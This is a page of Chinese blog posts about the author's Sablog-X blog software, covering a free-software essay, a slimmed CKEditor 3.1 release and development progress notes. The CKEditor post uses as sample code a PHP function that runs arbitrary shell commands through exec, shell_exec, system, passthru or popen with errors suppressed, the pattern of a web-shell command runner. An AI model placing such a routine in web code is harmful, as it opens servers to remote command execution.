4ngel's blog

当黑客不是为钱,是实现自我价值。

我的作品

不要用商业眼光来看Sablog-X

3 Comments | 乱七八糟 , 我的作品 | by angel | 1169 Views. | 2010-01-23, 3:14 AM

最近在看Ubuntu中文社区。发现有这么一段话:

---------------------------- 可爱的分割线 ---------------------------

不要用商业的眼光来看 Linux。

Linux 不是商业软件,所以不要用要求 Solaris, Windows 那样的眼光来看 Linux. 自由软件的作者们从来不拉拢用户,他们对用户不负有任何责任。实际上在自由软件的世界里,“开发者”和“用户” 并没有明确的界限,大家是朋友。

自由软件很可能只是满足作者和他的朋友的需要,甚至是为了好玩而创造的。自由软件不是完美的,自由软件承认自己有缺点,它不会自吹自擂,蒙蔽“用户”的耳目。这种对作者责任的解脱激发了作者的创造力,他们不用过分考虑“向上兼容”,他们往往比背上重重包袱的商业软件结构更合理,技术更先进。

所以当你用某个自由软件遇到困难的时候,不应该埋怨软件的作者,因为他们对你并没有义务。你不应该把自己当成一个挑剔的顾客,而要把自己作为这个软件的顾问和一个和蔼的建议者,这样你才能理解作者写这个程序时的快乐,在遇到问题时向作者反映,帮助他完善这个软件,成为一个快乐的参与者。就像你的哥哥送你一个他用旧了的自行车,你应该珍惜这份友情,而不要在车坏了,或者骑车摔了一交的时候大骂你的哥哥。如果你真的不能使用这种合作的心态,那么最好不要使用这个软件。

这是一种先进的文化,它包含了互相合作,科学创新的精神。理解这一点不是很容易,很多人往往是因为不能理解这种文化而离开自由软件。这对于作者来说并没有什么损失。

---------------------------- 可爱的分割线 ---------------------------

我发现这句话。好像蛮多地方还挺适用于Sablog-X的。

阅读全文

CKeditor 3.1 精简版带SyntaxHighlighter插件

46 Comments | 我的作品 | by angel | 7743 Views. | 2010-01-14, 5:02 AM

ckeditor 3.1 精简版带SyntaxHighlighter插件随Sablog-X发布。本文只是预告而已。。。

演示地址:http://www.sablog.net/blog/include/editor/

该版本基于 CKEditor 3.1 (revision 4891) 正式版修改,并加入了SyntaxHighlighter 2.1.364的支持。旨在提高加载速度,删除不常用的功能,达到精简和优化的目的。

本次修改是基于源代码精简和优化再重新编译,保证功能正常的情况下,确保不残留任何垃圾、无用的代码。通过修改内容可以看出,几乎都是为了提高加载速度和提高实用程度而做的修改。Sablog-X和Sa系列程序将一直延续使用本人所精简的CKeditor。

CKeditor 3.1 精简版:

  1. 删除表单功能
  2. 删除上传功能
  3. 删除拼写检查功能
  4. 删除模板功能
  5. 删除图像、链接、FLASH插入中的高级选项卡功能
  6. 删除原来的表情并用QQ表情代替
  7. 删除特殊字符功能
  8. 仅保留简体中文语言包
  9. 删除Office 2003和V2风格
  10. 进一步优化代码
  11. 加入插入代码功能(前台支持需要手工加入SyntaxHighlighter)

给需要一些常用的功能,但是又对加载速度要求很高的朋友或者程序开发人员。因此,这个版本并不算极度精简版。但是在速度和体积上,已经远远优于官方原版。以后有空将继续在此版本基础上进行精简,并作更大程度的优化。

测试PHP代码:

function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
		} elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
		} elseif(function_exists('system')) {
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(function_exists('passthru')) {
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(@is_resource($f = @popen($cfe,"r"))) {
			$res = '';
			while(!@feof($f)) {
				$res .= @fread($f,1024); 
			}
			@pclose($f);
		}
	}
	return $res;
}

CKeditor版权归其开发团队所有。

有好的精简建议请联系我。如果有BUG,麻烦请看官方的演示,确保是精简造成的,也可以联系我。谢谢。

阅读全文

Sablog-X 2.0进度

30 Comments | 我的作品 | by angel | 4018 Views. | 2009-09-01, 9:14 AM

真的不知道写什么了。不写什么。真的对不起这个博客。继2.0 Build 20090809版本。有如下更新(都是大手术):

  1. 完美移植精简ckeditor 3.0正式版成功。摸清楚了Ckeditor 3.0的大部分方法。彻底放弃Fckeditor。
  2. 删除分类和标签数据表,采用关联关系的方法来实现分类和标签。实现多分类的功能。更好统计各种容器内的文章数。
  3. 去掉文章表中的附件存储方式。只统计包含多少附件数。

以上2、3点的改进。使得查询多了两、三次。不过效率未减。。放心。减轻了后台处理数据的负担。

随便写这么一篇。也算对观众们有个交代了吧?

阅读全文

关于Sablog-X 2.0 Beta 20090723

52 Comments | 我的作品 | by angel | 6536 Views. | 2009-07-23, 5:45 PM

Sablog-X一不小心最新的版本泄露出去了。连模板中我的照片都忘记删除了。呵呵。

虽然是最新的。基本成型。但是离预期功能差太远。。比如自定义URL格式、语言包都没有做。不过应该稳定使用已经没有问题。

由于都是小范围使用的版本。所以升级功能这些东西并不是很完善。如果希望捣鼓的。或者尝鲜的。可以装来玩玩。也许存在BUG。也许又不存在。所以不建议没有技术功底的朋友使用。这个版本不提供技术支持。。

想玩玩的朋友可以在这里下载:http://down.chinaz.com/soft/23468.htm

懂得PHP的朋友完全可以作为正式版使用。不过这个版本。跟以前泄露出来的再以扩展形式发布的那个版本。已经差蛮多了。

千万不要在这里问关于技术上的问题。一律不作解释。见谅。

阅读全文

Total: 119Page 2 of 24‹ Prev1234567Next ›Last »